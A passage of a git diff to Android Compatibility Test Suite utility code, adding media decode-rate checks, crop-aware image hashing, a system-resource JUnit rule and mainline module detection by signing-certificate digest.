diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/MediaUtils.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/MediaUtils.java
index 772009d..19e1215 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/MediaUtils.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/MediaUtils.java
@@ -20,6 +20,7 @@
 import android.drm.DrmConvertedStatus;
 import android.drm.DrmManagerClient;
 import android.graphics.ImageFormat;
+import android.graphics.Rect;
 import android.media.Image;
 import android.media.Image.Plane;
 import android.media.MediaCodec;
@@ -31,6 +32,7 @@
 import android.media.MediaExtractor;
 import android.media.MediaFormat;
 import android.net.Uri;
+import android.os.Build;
 import android.util.Log;
 import android.util.Range;
 
@@ -299,11 +301,86 @@
     }
 
     public static boolean canDecode(MediaFormat format) {
-        if (sMCL.findDecoderForFormat(format) == null) {
+        return canDecode(format, 0.0);
+    }
+
+    // this is "do we claim to decode"; caller is on the hook to determine
+    // if we actually meet that claim, specifically around speed.
+    public static boolean canDecode(MediaFormat format, double rate ) {
+        String decoder = sMCL.findDecoderForFormat(format);
+
+        if (decoder == null) {
             Log.i(TAG, "no decoder for " + format);
             return false;
         }
-        return true;
+
+        if (rate == 0.0) {
+            return true;
+        }
+
+        // before Q, we always said yes once we found a decoder for the format.
+        if (ApiLevelUtil.isBefore(Build.VERSION_CODES.Q)) {
+            return true;
+        }
+
+        // we care about speed of decoding
+        Log.d(TAG, "checking for decoding " + format + " at " +
+                   rate + " fps with " + decoder);
+
+        String mime = format.getString(MediaFormat.KEY_MIME);
+        int width = format.getInteger(MediaFormat.KEY_WIDTH);
+        int height = format.getInteger(MediaFormat.KEY_HEIGHT);
+
+        MediaCodecInfo[] mciList = sMCL.getCodecInfos();
+
+        if (mciList == null) {
+            Log.d(TAG, "did not get list of MediaCodecInfo");
+            return false;
+        }
+
+        MediaCodecInfo mci = null;
+        for (MediaCodecInfo mci2 : mciList) {
+            if (mci2.getName().equals(decoder)) {
+                mci = mci2;
+                break;
+            }
+        }
+        if (mci == null) {
+            return false;
+        }
+        if (!mci.getName().equals(decoder)) {
+            Log.e(TAG, "did not find expected " + decoder);
+            return false;
+        }
+
+        if (ApiLevelUtil.isAtLeast(Build.VERSION_CODES.Q)
+                && PropertyUtil.isVendorApiLevelAtLeast(Build.VERSION_CODES.Q)
+                && mci.isHardwareAccelerated()) {
+            MediaCodecInfo.VideoCapabilities caps =
+                            mci.getCapabilitiesForType(mime).getVideoCapabilities();
+            List<MediaCodecInfo.VideoCapabilities.PerformancePoint> pp =
+                            caps.getSupportedPerformancePoints();
+            VideoCapabilities.PerformancePoint target =
+                            new VideoCapabilities.PerformancePoint(width, height, (int) rate);
+            for (MediaCodecInfo.VideoCapabilities.PerformancePoint point : pp) {
+                if (point.covers(target)) {
+                    Log.i(TAG, "target " + target.toString() +
+                               " covered by point " + point.toString());
+                    return true;
+                }
+            }
+            Log.i(TAG, "NOT covered by any hardware performance point");
+            return false;
+        } else {
+            String verified = MediaPerfUtils.areAchievableFrameRates(
+                              decoder, mime, width, height, rate);
+            if (verified == null) {
+                Log.d(TAG, "claims to decode content at " + rate + " fps");
+                return true;
+            }
+            Log.d(TAG, "achieveable framerates says: " + verified);
+            return false;
+        }
     }
 
     public static boolean supports(String codecName, String mime, int w, int h) {
@@ -554,15 +631,27 @@
         return check(hasCodecForMimes(true /* encoder */, mimes), "no encoder found");
     }
 
+    // checks format, does not address actual speed of decoding
     public static boolean canDecodeVideo(String mime, int width, int height, float rate) {
+        return canDecodeVideo(mime, width, height, rate, (float)0.0);
+    }
+
+    // format + decode rate
+    public static boolean canDecodeVideo(String mime, int width, int height, float rate, float decodeRate) {
         MediaFormat format = MediaFormat.createVideoFormat(mime, width, height);
         format.setFloat(MediaFormat.KEY_FRAME_RATE, rate);
-        return canDecode(format);
+        return canDecode(format, decodeRate);
     }
 
     public static boolean canDecodeVideo(
             String mime, int width, int height, float rate,
             Integer profile, Integer level, Integer bitrate) {
+        return canDecodeVideo(mime, width, height, rate, profile, level, bitrate, (float)0.0);
+    }
+
+    public static boolean canDecodeVideo(
+            String mime, int width, int height, float rate,
+            Integer profile, Integer level, Integer bitrate, float decodeRate) {
         MediaFormat format = MediaFormat.createVideoFormat(mime, width, height);
         format.setFloat(MediaFormat.KEY_FRAME_RATE, rate);
         if (profile != null) {
@@ -574,7 +663,7 @@
         if (bitrate != null) {
             format.setInteger(MediaFormat.KEY_BIT_RATE, bitrate);
         }
-        return canDecode(format);
+        return canDecode(format, decodeRate);
     }
 
     public static boolean checkEncoderForFormat(MediaFormat format) {
@@ -1168,36 +1257,46 @@
 
         MessageDigest md = MessageDigest.getInstance("MD5");
 
-        int imageWidth = image.getWidth();
-        int imageHeight = image.getHeight();
+        Rect crop = image.getCropRect();
+        int cropLeft = crop.left;
+        int cropRight = crop.right;
+        int cropTop = crop.top;
+        int cropBottom = crop.bottom;
+
+        int imageWidth = cropRight - cropLeft;
+        int imageHeight = cropBottom - cropTop;
 
         Image.Plane[] planes = image.getPlanes();
         for (int i = 0; i < planes.length; ++i) {
             ByteBuffer buf = planes[i].getBuffer();
 
-            int width, height, rowStride, pixelStride, x, y;
+            int width, height, rowStride, pixelStride, x, y, top, left;
             rowStride = planes[i].getRowStride();
             pixelStride = planes[i].getPixelStride();
             if (i == 0) {
                 width = imageWidth;
                 height = imageHeight;
+                left = cropLeft;
+                top = cropTop;
             } else {
                 width = imageWidth / 2;
                 height = imageHeight /2;
+                left = cropLeft / 2;
+                top = cropTop / 2;
             }
             // local contiguous pixel buffer
             byte[] bb = new byte[width * height];
             if (buf.hasArray()) {
                 byte b[] = buf.array();
-                int offs = buf.arrayOffset();
+                int offs = buf.arrayOffset() + left * pixelStride;
                 if (pixelStride == 1) {
                     for (y = 0; y < height; ++y) {
-                        System.arraycopy(bb, y * width, b, y * rowStride + offs, width);
+                        System.arraycopy(bb, y * width, b, (top + y) * rowStride + offs, width);
                     }
                 } else {
                     // do it pixel-by-pixel
                     for (y = 0; y < height; ++y) {
-                        int lineOffset = offs + y * rowStride;
+                        int lineOffset = offs + (top + y) * rowStride;
                         for (x = 0; x < width; ++x) {
                             bb[y * width + x] = b[lineOffset + x * pixelStride];
                         }
@@ -1207,7 +1306,7 @@
                 int pos = buf.position();
                 if (pixelStride == 1) {
                     for (y = 0; y < height; ++y) {
-                        buf.position(pos + y * rowStride);
+                        buf.position(pos + left + (top + y) * rowStride);
                         buf.get(bb, y * width, width);
                     }
                 } else {
@@ -1215,7 +1314,7 @@
                     byte[] lb = new byte[rowStride];
                     // do it pixel-by-pixel
                     for (y = 0; y < height; ++y) {
-                        buf.position(pos + y * rowStride);
+                        buf.position(pos + left * pixelStride + (top + y) * rowStride);
                         // we're only guaranteed to have pixelStride * (width - 1) + 1 bytes
                         buf.get(lb, 0, pixelStride * (width - 1) + 1);
                         for (x = 0; x < width; ++x) {
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/PackageUtil.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/PackageUtil.java
index 9df0bf1..728cbc6 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/PackageUtil.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/PackageUtil.java
@@ -98,6 +98,24 @@
     }
 
     /**
+     * Returns the version code for the package name, or null if the package can't be found.
+     * If before API Level 28, return a long version of the (otherwise deprecated) versionCode.
+     */
+    public static Long getLongVersionCode(String packageName) {
+        try {
+            PackageInfo info = getPackageManager().getPackageInfo(packageName,
+                    PackageManager.GET_META_DATA);
+            // Make no assumptions about the device's API level, and use the (now deprecated)
+            // versionCode for older devices.
+            return (ApiLevelUtil.isAtLeast(28)) ?
+                    info.getLongVersionCode() : (long) info.versionCode;
+        } catch (PackageManager.NameNotFoundException | NullPointerException e) {
+            Log.w(TAG, "Could not find version string for package " + packageName);
+            return null;
+        }
+    }
+
+    /**
      * Compute the signature SHA digest for a package.
      * @param package the name of the package for which the signature SHA digest is requested
      * @return the signature SHA digest
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/PropertyUtil.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/PropertyUtil.java
index b87e88b..fb25dd7 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/PropertyUtil.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/PropertyUtil.java
@@ -88,6 +88,20 @@
     }
 
     /**
+     * Return whether the SDK version of the vendor partiton is same or newer than the
+     * given API level.
+     * If the property is set to non-integer value, this means the vendor partition is using
+     * current API level and true is returned.
+     */
+    public static boolean isVendorApiLevelAtLeast(int apiLevel) {
+        int vendorApiLevel = getPropertyInt(VNDK_VERSION);
+        if (vendorApiLevel == INT_VALUE_IF_UNSET) {
+            return true;
+        }
+        return vendorApiLevel >= apiLevel;
+    }
+
+    /**
      * Return the manufacturer of this product. If unset, return null.
      */
     public static String getManufacturer() {
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/RequiredFeatureRule.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/RequiredFeatureRule.java
index 0ab94d6..44571d1 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/RequiredFeatureRule.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/RequiredFeatureRule.java
@@ -55,6 +55,11 @@
         };
     }
 
+    @Override
+    public String toString() {
+        return "RequiredFeatureRule[" + mFeature + "]";
+    }
+
     public static boolean hasFeature(String feature) {
         return InstrumentationRegistry.getContext().getPackageManager().hasSystemFeature(feature);
     }
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/RequiredServiceRule.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/RequiredServiceRule.java
index 96dbcd8..bbfa2db 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/RequiredServiceRule.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/RequiredServiceRule.java
@@ -75,4 +75,9 @@
             return false;
         }
     }
+
+    @Override
+    public String toString() {
+        return "RequiredServiceRule[" + mService + "]";
+    }
 }
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/RequiredSystemResourceRule.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/RequiredSystemResourceRule.java
new file mode 100644
index 0000000..ead59943
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/RequiredSystemResourceRule.java
@@ -0,0 +1,87 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import android.content.res.Resources;
+import android.text.TextUtils;
+import android.util.Log;
+
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+
+import org.junit.rules.TestRule;
+import org.junit.runner.Description;
+import org.junit.runners.model.Statement;
+
+/**
+ * Custom JUnit4 rule that does not run a test case if the device does not define the given system
+ * resource.
+ */
+public class RequiredSystemResourceRule implements TestRule {
+
+    private static final String TAG = "RequiredSystemResourceRule";
+
+    @NonNull private final String mName;
+    private final boolean mHasResource;
+
+    /**
+     * Creates a rule for the given system resource.
+     *
+     * @param resourceId resource per se
+     * @param name resource name used for debugging purposes
+     */
+    public RequiredSystemResourceRule(@NonNull String name) {
+        mName = name;
+        mHasResource = !TextUtils.isEmpty(getSystemResource(name));
+    }
+
+    @Override
+    public Statement apply(Statement base, Description description) {
+        return new Statement() {
+
+            @Override
+            public void evaluate() throws Throwable {
+                if (!mHasResource) {
+                    Log.d(TAG, "skipping "
+                            + description.getClassName() + "#" + description.getMethodName()
+                            + " because device does not have system resource '" + mName + "'");
+                    return;
+                }
+                base.evaluate();
+            }
+        };
+    }
+
+    /**
+     * Gets the given system resource.
+     */
+    @Nullable
+    public static String getSystemResource(@NonNull String name) {
+        try {
+            final int resourceId = Resources.getSystem().getIdentifier(name, "string", "android");
+            return Resources.getSystem().getString(resourceId);
+        } catch (Exception e) {
+            Log.e(TAG, "could not get value of resource '" + name + "': ", e);
+        }
+        return null;
+    }
+
+    @Override
+    public String toString() {
+        return "RequiredSystemResourceRule[" + mName + "]";
+    }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/devicepolicy/provisioning/SilentProvisioningTestManager.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/devicepolicy/provisioning/SilentProvisioningTestManager.java
index f8f20c3..119525d 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/devicepolicy/provisioning/SilentProvisioningTestManager.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/devicepolicy/provisioning/SilentProvisioningTestManager.java
@@ -94,13 +94,15 @@
             }
 
             mReceivedProfileProvisionedIntent =
-                    managedProfileProvisionedReceiver.awaitForBroadcast();
+                    managedProfileProvisionedReceiver.awaitForBroadcast(
+                            TimeUnit.SECONDS.toMillis(TIMEOUT_SECONDS));
             if (mReceivedProfileProvisionedIntent == null) {
                 Log.i(TAG, "managedProfileProvisionedReceiver.awaitForBroadcast(): failed");
                 return false;
             }
 
-            if (managedProfileAddedReceiver.awaitForBroadcast() == null) {
+            if (managedProfileAddedReceiver.awaitForBroadcast(
+                    TimeUnit.SECONDS.toMillis(TIMEOUT_SECONDS)) == null) {
                 Log.i(TAG, "managedProfileAddedReceiver.awaitForBroadcast(): failed");
                 return false;
             }
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/mainline/MainlineModule.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/mainline/MainlineModule.java
new file mode 100644
index 0000000..b34242e
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/mainline/MainlineModule.java
@@ -0,0 +1,87 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.util.mainline;
+
+/**
+ * Enum containing metadata for mainline modules.
+ */
+public enum MainlineModule {
+    // Security
+    MEDIA_SOFTWARE_CODEC("com.google.android.media.swcodec",
+            true, ModuleType.APEX,
+            "0C:2B:13:87:6D:E5:6A:E6:4E:D1:DE:93:42:2A:8A:3F:EA:6F:34:C0:FC:5D:7D:A1:BD:CF:EF"
+                    + ":C1:A7:B7:C9:1D"),
+    MEDIA("com.google.android.media",
+            true, ModuleType.APEX,
+            "16:C1:5C:FA:15:D0:FD:D0:7E:BE:CB:5A:76:6B:40:8B:05:DD:92:7E:1F:3A:DD:C5:AB:F6:8E"
+                    + ":E8:B9:98:F9:FD"),
+    DNS_RESOLVER("com.google.android.resolv",
+            true, ModuleType.APEX,
+            "EC:82:21:76:5E:4F:7E:2C:6D:8D:0F:0C:E9:BD:82:5B:98:BE:D2:0C:07:2C:C6:C8:08:DD:E4"
+                    + ":68:5F:EB:A6:FF"),
+    CONSCRYPT("com.google.android.conscrypt",
+            true, ModuleType.APEX,
+            "8C:5D:A9:10:E6:11:21:B9:D6:E0:3B:42:D3:20:6A:7D:AD:29:DD:C1:63:AE:CD:4B:8E:E9:3F"
+                    + ":D3:83:79:CA:2A"),
+    // Privacy
+    PERMISSION_CONTROLLER("com.google.android.permissioncontroller",
+            false, ModuleType.APK,
+            "89:DF:B5:04:7E:E0:19:29:C2:18:4D:68:EF:49:64:F2:A9:0A:F1:24:C3:23:38:28:B8:F6:40"
+                    + ":D9:E6:C0:0F:83"),
+    ANDROID_SERVICES("com.google.android.ext.services",
+            false, ModuleType.APK,
+            "18:46:05:09:5B:E6:CA:22:D0:55:F3:4E:FA:F0:13:44:FD:3A:B3:B5:63:8C:30:62:76:10:EE"
+                    + ":AE:8A:26:0B:29"),
+    DOCUMENTS_UI("com.google.android.documentsui",
+            true, ModuleType.APK,
+            "9A:4B:85:34:44:86:EC:F5:1F:F8:05:EB:9D:23:17:97:79:BE:B7:EC:81:91:93:5A:CA:67:F0"
+                    + ":F4:09:02:52:97"),
+    // Consistency
+    TZDATA("com.google.android.tzdata",
+            true, ModuleType.APEX,
+            "55:93:DD:78:CB:26:EC:9B:00:59:2A:6A:F5:94:E4:16:1F:FD:B5:E9:F3:71:A7:43:54:5F:93"
+                    + ":F2:A0:F6:53:89"),
+    NETWORK_STACK("com.google.android.networkstack",
+            true, ModuleType.APK,
+            "5F:A4:22:12:AD:40:3E:22:DD:6E:FE:75:F3:F3:11:84:05:1F:EF:74:4C:0B:05:BE:5C:73:ED"
+                    + ":F6:0B:F6:2C:1E"),
+    CAPTIVE_PORTAL_LOGIN("com.google.android.captiveportallogin",
+            true, ModuleType.APK,
+            "5F:A4:22:12:AD:40:3E:22:DD:6E:FE:75:F3:F3:11:84:05:1F:EF:74:4C:0B:05:BE:5C:73:ED"
+                    + ":F6:0B:F6:2C:1E"),
+    NETWORK_PERMISSION_CONFIGURATION("com.google.android.networkstack.permissionconfig",
+            true, ModuleType.APK,
+            "5F:A4:22:12:AD:40:3E:22:DD:6E:FE:75:F3:F3:11:84:05:1F:EF:74:4C:0B:05:BE:5C:73:ED"
+                    + ":F6:0B:F6:2C:1E"),
+    MODULE_METADATA("com.google.android.modulemetadata",
+            true, ModuleType.APK,
+            "BF:62:23:1E:28:F0:85:42:75:5C:F3:3C:9D:D8:3C:5D:1D:0F:A3:20:64:50:EF:BC:4C:3F:F3"
+                    + ":D5:FD:A0:33:0F"),
+    ;
+
+    public final String packageName;
+    public final boolean isPlayUpdated;
+    public final ModuleType moduleType;
+    public final String certSHA256;
+
+    MainlineModule(String packageName, boolean isPlayUpdated, ModuleType moduleType,
+            String certSHA256) {
+        this.packageName = packageName;
+        this.isPlayUpdated = isPlayUpdated;
+        this.moduleType = moduleType;
+        this.certSHA256 = certSHA256;
+    }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/mainline/ModuleDetector.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/mainline/ModuleDetector.java
new file mode 100644
index 0000000..11b467d
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/mainline/ModuleDetector.java
@@ -0,0 +1,108 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.util.mainline;
+
+import android.content.pm.PackageInfo;
+import android.content.pm.PackageManager;
+import android.util.Log;
+
+import java.security.MessageDigest;
+import java.util.EnumSet;
+import java.util.HashSet;
+import java.util.Set;
+
+/**
+ * Detects mainline modules.
+ */
+public class ModuleDetector {
+    private static final String LOG_TAG = "MainlineModuleDetector";
+
+    private static final char[] HEX_ARRAY = "0123456789ABCDEF".toCharArray();
+
+    /**
+     * Return true if a module is play managed.
+     *
+     * Example of skipping a test based on mainline modules:
+     * <pre>
+     *  @Test
+     *  public void testPocCVE_1234_5678() throws Exception {
+     *      if(!ModuleDetector.moduleIsPlayManaged(
+     *          getInstrumentation().getContext().getPackageManager(),
+     *          MainlineModule.MEDIA_SOFTWARE_CODEC)) {
+     *          doStagefrightTest(R.raw.cve_2018_5882);
+     *      }
+     *  }
+     * </pre>
+     */
+    public static boolean moduleIsPlayManaged(PackageManager pm, MainlineModule module)
+            throws Exception {
+        return getPlayManagedModules(pm).contains(module);
+    }
+
+
+    /**
+     * Return all play managed mainline modules.
+     */
+    public static Set<MainlineModule> getPlayManagedModules(PackageManager pm) throws Exception {
+        Set<MainlineModule> playManagedModules = new HashSet<>();
+
+        Set<String> packages = new HashSet<>();
+        for (PackageInfo info : pm.getInstalledPackages(0)) {
+            packages.add(info.packageName);
+        }
+        for (PackageInfo info : pm.getInstalledPackages(PackageManager.MATCH_APEX)) {
+            packages.add(info.packageName);
+        }
+
+        for (MainlineModule module : EnumSet.allOf(MainlineModule.class)) {
+            if (module.isPlayUpdated && packages.contains(module.packageName)
+                    && module.certSHA256.equals(getSignatureDigest(pm, module))) {
+                playManagedModules.add(module);
+            }
+        }
+        return playManagedModules;
+    }
+
+    private static String getSignatureDigest(PackageManager pm, MainlineModule module)
+            throws Exception {
+        int flag = PackageManager.GET_SIGNING_CERTIFICATES;
+        if (module.moduleType == ModuleType.APEX) {
+            flag |= PackageManager.MATCH_APEX;
+        }
+
+        PackageInfo packageInfo = pm.getPackageInfo(module.packageName, flag);
+        MessageDigest messageDigest = MessageDigest.getInstance("SHA256");
+        messageDigest.update(packageInfo.signingInfo.getApkContentsSigners()[0].toByteArray());
+
+        final byte[] digest = messageDigest.digest();
+        final int digestLength = digest.length;
+        final int charCount = 3 * digestLength - 1;
+
+        final char[] chars = new char[charCount];
+        for (int i = 0; i < digestLength; i++) {
+            final int byteHex = digest[i] & 0xFF;
+            chars[i * 3] = HEX_ARRAY[byteHex >>> 4];
+            chars[i * 3 + 1] = HEX_ARRAY[byteHex & 0x0F];
+            if (i < digestLength - 1) {
+                chars[i * 3 + 2] = ':';
+            }
+        }
+
+        String ret = new String(chars);
+        Log.d(LOG_TAG, "Module: " + module.packageName + " has signature: " + ret);
+        return ret;
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/LockTaskUtilityActivityIfWhitelisted.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/mainline/ModuleType.java
similarity index 73%
copy from hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/LockTaskUtilityActivityIfWhitelisted.java
copy to common/device-side/util-axt/src/com/android/compatibility/common/util/mainline/ModuleType.java
index 4cf6efa..b50d62c 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/LockTaskUtilityActivityIfWhitelisted.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/mainline/ModuleType.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2015 The Android Open Source Project
+ * Copyright (C) 2019 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -13,8 +13,12 @@
  * See the License for the specific language governing permissions and
  * limitations under the License.
  */
+package com.android.compatibility.common.util.mainline;
 
-package com.android.cts.deviceowner;
-
-public class LockTaskUtilityActivityIfWhitelisted extends LockTaskUtilityActivity {
+/**
+ * File type of mainline module.
+ */
+public enum ModuleType {
+    APEX,
+    APK
 }
diff --git a/common/device-side/util/Android.bp b/common/device-side/util/Android.bp
index e1552b6..134b4f7 100644
--- a/common/device-side/util/Android.bp
+++ b/common/device-side/util/Android.bp
@@ -22,7 +22,6 @@
     ],
 
     static_libs: [
-        "androidx.test.rules",
         "compatibility-common-util-devicesidelib",
         "android-support-test",
         "ub-uiautomator",
@@ -37,4 +36,4 @@
     ],
 
     jarjar_rules: "protobuf-jarjar-rules.txt",
-}
+}
\ No newline at end of file
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/DeviceReportLog.java b/common/device-side/util/src/com/android/compatibility/common/util/DeviceReportLog.java
index 12c9f1a..d170263 100644
--- a/common/device-side/util/src/com/android/compatibility/common/util/DeviceReportLog.java
+++ b/common/device-side/util/src/com/android/compatibility/common/util/DeviceReportLog.java
@@ -21,8 +21,6 @@
 import android.os.Environment;
 import android.util.Log;
 
-import androidx.test.InstrumentationRegistry;
-
 import java.io.File;
 import java.io.IOException;
 import java.util.List;
@@ -42,10 +40,8 @@
     private ReportLogDeviceInfoStore store;
 
     public DeviceReportLog(String reportLogName, String streamName) {
-        this(reportLogName, streamName, new File(InstrumentationRegistry
-                .getInstrumentation().getTargetContext()
-                .getExternalFilesDir(null).getPath(),
-                "report-log-files"));
+        this(reportLogName, streamName,
+                new File(Environment.getExternalStorageDirectory(), "report-log-files"));
     }
 
     public DeviceReportLog(String reportLogName, String streamName, File logDirectory) {
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/MediaUtils.java b/common/device-side/util/src/com/android/compatibility/common/util/MediaUtils.java
index be91308..c81f648 100644
--- a/common/device-side/util/src/com/android/compatibility/common/util/MediaUtils.java
+++ b/common/device-side/util/src/com/android/compatibility/common/util/MediaUtils.java
@@ -1161,8 +1161,8 @@
         int cropTop = crop.top;
         int cropBottom = crop.bottom;
 
-        int imageWidth = cropRight - cropLeft + 1;
-        int imageHeight = cropBottom - cropTop + 1;
+        int imageWidth = cropRight - cropLeft;
+        int imageHeight = cropBottom - cropTop;
 
         Image.Plane[] planes = image.getPlanes();
         for (int i = 0; i < planes.length; ++i) {
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/RequiredSystemResourceRule.java b/common/device-side/util/src/com/android/compatibility/common/util/RequiredSystemResourceRule.java
new file mode 100644
index 0000000..ead59943
--- /dev/null
+++ b/common/device-side/util/src/com/android/compatibility/common/util/RequiredSystemResourceRule.java
@@ -0,0 +1,87 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import android.content.res.Resources;
+import android.text.TextUtils;
+import android.util.Log;
+
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+
+import org.junit.rules.TestRule;
+import org.junit.runner.Description;
+import org.junit.runners.model.Statement;
+
+/**
+ * Custom JUnit4 rule that does not run a test case if the device does not define the given system
+ * resource.
+ */
+public class RequiredSystemResourceRule implements TestRule {
+
+    private static final String TAG = "RequiredSystemResourceRule";
+
+    @NonNull private final String mName;
+    private final boolean mHasResource;
+
+    /**
+     * Creates a rule for the given system resource.
+     *
+     * @param resourceId resource per se
+     * @param name resource name used for debugging purposes
+     */
+    public RequiredSystemResourceRule(@NonNull String name) {
+        mName = name;
+        mHasResource = !TextUtils.isEmpty(getSystemResource(name));
+    }
+
+    @Override
+    public Statement apply(Statement base, Description description) {
+        return new Statement() {
+
+            @Override
+            public void evaluate() throws Throwable {
+                if (!mHasResource) {
+                    Log.d(TAG, "skipping "
+                            + description.getClassName() + "#" + description.getMethodName()
+                            + " because device does not have system resource '" + mName + "'");
+                    return;
+                }
+                base.evaluate();
+            }
+        };
+    }
+
+    /**
+     * Gets the given system resource.
+     */
+    @Nullable
+    public static String getSystemResource(@NonNull String name) {
+        try {
+            final int resourceId = Resources.getSystem().getIdentifier(name, "string", "android");
+            return Resources.getSystem().getString(resourceId);
+        } catch (Exception e) {
+            Log.e(TAG, "could not get value of resource '" + name + "': ", e);
+        }
+        return null;
+    }
+
+    @Override
+    public String toString() {
+        return "RequiredSystemResourceRule[" + mName + "]";
+    }
+}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/devicepolicy/provisioning/SilentProvisioningTestManager.java b/common/device-side/util/src/com/android/compatibility/common/util/devicepolicy/provisioning/SilentProvisioningTestManager.java
index 05edf1a..59f3ebf 100644
--- a/common/device-side/util/src/com/android/compatibility/common/util/devicepolicy/provisioning/SilentProvisioningTestManager.java
+++ b/common/device-side/util/src/com/android/compatibility/common/util/devicepolicy/provisioning/SilentProvisioningTestManager.java
@@ -93,13 +93,15 @@
             }
 
             mReceivedProfileProvisionedIntent =
-                    managedProfileProvisionedReceiver.awaitForBroadcast();
+                    managedProfileProvisionedReceiver.awaitForBroadcast(
+                            TimeUnit.SECONDS.toMillis(TIMEOUT_SECONDS));
             if (mReceivedProfileProvisionedIntent == null) {
                 Log.i(TAG, "managedProfileProvisionedReceiver.awaitForBroadcast(): failed");
                 return false;
             }
 
-            if (managedProfileAddedReceiver.awaitForBroadcast() == null) {
+            if (managedProfileAddedReceiver.awaitForBroadcast(
+                    TimeUnit.SECONDS.toMillis(TIMEOUT_SECONDS)) == null) {
                 Log.i(TAG, "managedProfileAddedReceiver.awaitForBroadcast(): failed");
                 return false;
             }
diff --git a/hostsidetests/apex/Android.bp b/hostsidetests/apex/Android.bp
new file mode 100644
index 0000000..33194a1
--- /dev/null
+++ b/hostsidetests/apex/Android.bp
@@ -0,0 +1,20 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//     http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsApexTestCases",
